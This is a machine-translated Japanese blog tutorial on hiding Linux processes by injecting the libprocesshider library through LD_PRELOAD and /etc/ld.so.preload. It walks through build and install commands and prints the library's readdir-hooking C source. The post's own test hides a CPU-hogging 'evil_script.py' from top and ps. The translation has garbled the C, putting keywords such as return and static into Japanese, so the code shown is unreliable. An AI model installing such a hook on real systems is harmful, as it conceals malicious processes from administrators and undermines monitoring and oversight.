Linux でプロセスを隠す方法と、遭遇する落とし穴

Linux でプロセスを隠す方法と、遭遇する落とし穴

序文

1. この記事で使用したツールは、https://github.com/gianlucaborello/libprocesshider からダウンロードできます。

2. LD_PRELOADを使ってシステム機能を乗っ取るというアイデア

LD_PRELOAD とは何ですか?

LD_PRELOAD は Linux システムの環境変数であり、プログラムのランタイム リンク (ランタイム リンカー) に影響を与える可能性があります。プログラムの実行前に最初にロードされるダイナミック リンク ライブラリを定義できます。この関数は主に、異なるダイナミック リンク ライブラリ内の同じ関数を選択的にロードするために使用されます。この環境変数を通じて、メインプログラムとそのダイナミック リンク ライブラリの間に他のダイナミック リンク ライブラリをロードしたり、通常の関数ライブラリを上書きしたりすることもできます。一方で、この機能を使用すると、独自の機能やより優れた機能(他の人のソース コードを必要とせずに)を使用でき、他方では、特定の目的を達成するために他の人のプログラムにプログラムを挿入することもできます。

成し遂げる

1. プログラムをダウンロードしてコンパイルする

bmfxgkpt-yhd:~# git クローン https://github.com/gianlucaborello/libprocesshider.git
'libprocesshider' にクローンしています...
リモート: オブジェクトをカウントしています: 26、完了。
リモート: 合計 26 (デルタ 0)、再利用 0 (デルタ 0)、パック再利用 26
オブジェクトの解凍: 100% (26/26)、完了。
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# 作成
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2. ファイルを/usr/local/lib/ディレクトリに移動する

mv libprocesshider.so /usr/local/lib/

3. グローバルダイナミックリンカーにロードする

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

テスト

1. evil_script.pyを実行します

2. この時点で、evil_script.pyはtopとpsでは見つからないことがわかります。

この時点でCPU使用率は100%でしたが、CPUを多く占有しているプログラムは見つかりませんでした。

分析する

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <文字列.h>
#include <unistd.h>
/*
 * この名前のすべてのプロセスが除外されます
 */
静的 const char* process_to_filter = "evil_script.py";
/*
 * DIR* ハンドルを指定してディレクトリ名を取得します
 */
静的 int get_dir_name(DIR* dirp, char* buf, size_t サイズ)
{
  int fd = dirfd(dirp);
  もしfd == -1の場合{
    0を返します。
  }
  文字tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    0を返します。
  }
  バッファ[ret] = 0;
  1 を返します。
}
/*
 * PIDを指定してプロセス名を取得する
 */
静的 int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    0を返します。
  }
  文字tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  ファイル* f = fopen(tmp, "r");
  if(f == NULL) {
    0を返します。
  }
  (fgets(tmp, sizeof(tmp), f) == NULL)の場合{
    fclose() メソッド
    0を返します。
  }
  fclose() メソッド
  int 未使用;
  sscanf(tmp, "%d (%[^]s", &unused, buf);
  1 を返します。
}
#DECLARE_READDIR(dirent, readdir) を定義します \
静的構造体 dirent* (*original_##readdir)(DIR*) = NULL; \
構造体 dirent* readdir(DIR *dirp) \
{\
  if(original_##readdir == NULL) { \
    元の_##readdir = dlsym(RTLD_NEXT, "readdir"); \
    if(original_##readdir == NULL) \
    {\
      fprintf(stderr, "dlsym でエラーが発生しました: %s\n", dlerror()); \
    } \
  } \
  構造体 dirent* dir; \
  (1) \ の間
  {\
    dir = original_##readdir(dirp); \
    if(dir) { \
      char dir_name[256]; \
      char プロセス名[256]; \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
        strcmp(dir_name, "/proc") == 0 && \
        get_process_name(dir->d_name, プロセス名) && \
        strcmp(プロセス名, フィルターするプロセス) == 0) { \
        続く; \
      } \
    } \
    壊す; \
  } \
  ディレクトリを返す; \
}
READDIR を宣言します。
DECLARE_READDIR(dirent、readdir);

1. プログラムは、どのプロセス名が表示されないかを制御するために変数process_to_filterを定義します。

2. readdirを書き換える。

strcmp(process_name, process_to_filter) == 0)

現在のプロセス名が process_to_filter と同じであることがわかったら、ループを続行します。

遭遇した落とし穴

1. このプログラムは一部のLinuxシステムではコンパイルできません

回避策

最後の2行のうち1行を削除

READDIR を宣言します。
DECLARE_READDIR(dirent、readdir);

2. 一部のLinuxで使用されている

シェルエコー /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
有効になりません。この時点で、環境変数shell bmfxgkpt-yhd:~# vi /etc/profileを設定する必要があります。
shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so という行を追加します。

要約する

上記は、編集者が紹介した Linux でプロセスを隠す方法と、遭遇した落とし穴です。皆様のお役に立てれば幸いです。ご質問がある場合は、メッセージを残してください。編集者がすぐに返信します。また、123WORDPRESS.COM ウェブサイトをサポートしてくださっている皆様にも感謝申し上げます。

以下もご興味があるかもしれません:
  • 1行のコードでLinuxのプロセスを隠す方法を学ぶ

<<:  Nodejs で WeChat アカウント分割を実装するためのサンプルコード

>>:  CentOS7 (YUM) での MySQL 5.7 のインストールと設定のチュートリアル

推薦する

マウスがカード上に移動したときにフローティング効果を実現する CSS の使用例

原理ホバーしたときに要素に影を設定します: box-shadow で、通常とは異なるスタイルにします...

あるテーブルのデータの列を別のテーブルの列にコピーするMySQLメソッド

mysql 1 つのテーブル列を別のテーブルにコピーする場合によっては、フィールドから別の新しいフィ...

SQL における参照整合性の詳細な説明 (1 対 1、1 対多、多対多)

1. 参照整合性参照整合性とは、主に外部キー制約を使用した複数のテーブル間の設計を指します。複数テ...

CSSでemを開く正しい方法の詳細な説明

「通常 1em=16px」と言うのはなぜですか?ユーザーのブラウザによってレンダリングされるデフォル...

ReactプロジェクトにSCSSを導入する方法

まず依存関係をダウンロードします yarn sass-loader ノード sass を追加します次...

Dockerfile ビルド中に発生する「/bin/sh: pip: コマンドが見つかりません」という問題の解決方法

記述した Dockerfile の内容は次のとおりです。 Python:3.6.8 から pip i...

CentOS6 アップグレード glibc 操作手順

目次背景glibc 2.14をコンパイルするソフトリンクを変更するやっと背景テスト環境には Cent...

リモートDockerを使用した統合テスト環境の構築手順

需要背景チームには統合テストが必要であり、そのためには、mysql や rabbitmq などのミド...

Docker を使用して Spring Boot をデプロイする方法の例

ここでは主に、スタンドアロンのプログラムを生成できるspring-bootと、Mavenプラグインd...

パフォーマンスの最適化を教える 52 個の SQL 文

1. クエリを最適化するには、テーブル全体のスキャンを避けてください。まず、where と orde...

WangEditor リッチ テキスト コンポーネントを Angular でカプセル化する方法

リッチ テキスト コンポーネントは、Web プログラムで、特にブログやフォーラムなどの Web サイ...

入力ボックスのカーソルサイズの表示が一貫していない問題の解決方法

入力ボックス内のカーソルのサイズが一定ではありませんIE7とChromeの違いは非常に明白ですまず、...

Chrome タブバーを実装するための CSS のヒント

今回は、Google Chrome のタブバーのような、特殊な丸い角を持つナビゲーション バーのレイ...

JavaScript による Web ページ カルーセルの超詳細な実装

目次HTML ページの作成js部分の機能を実装する1. 左ボタンと右ボタン2. 小さな円を動的に生成...

jQueryは動的タグイベントを実装します

この記事では、タグイベントを動的に追加するためのjQueryの具体的なコードを参考までに紹介します。...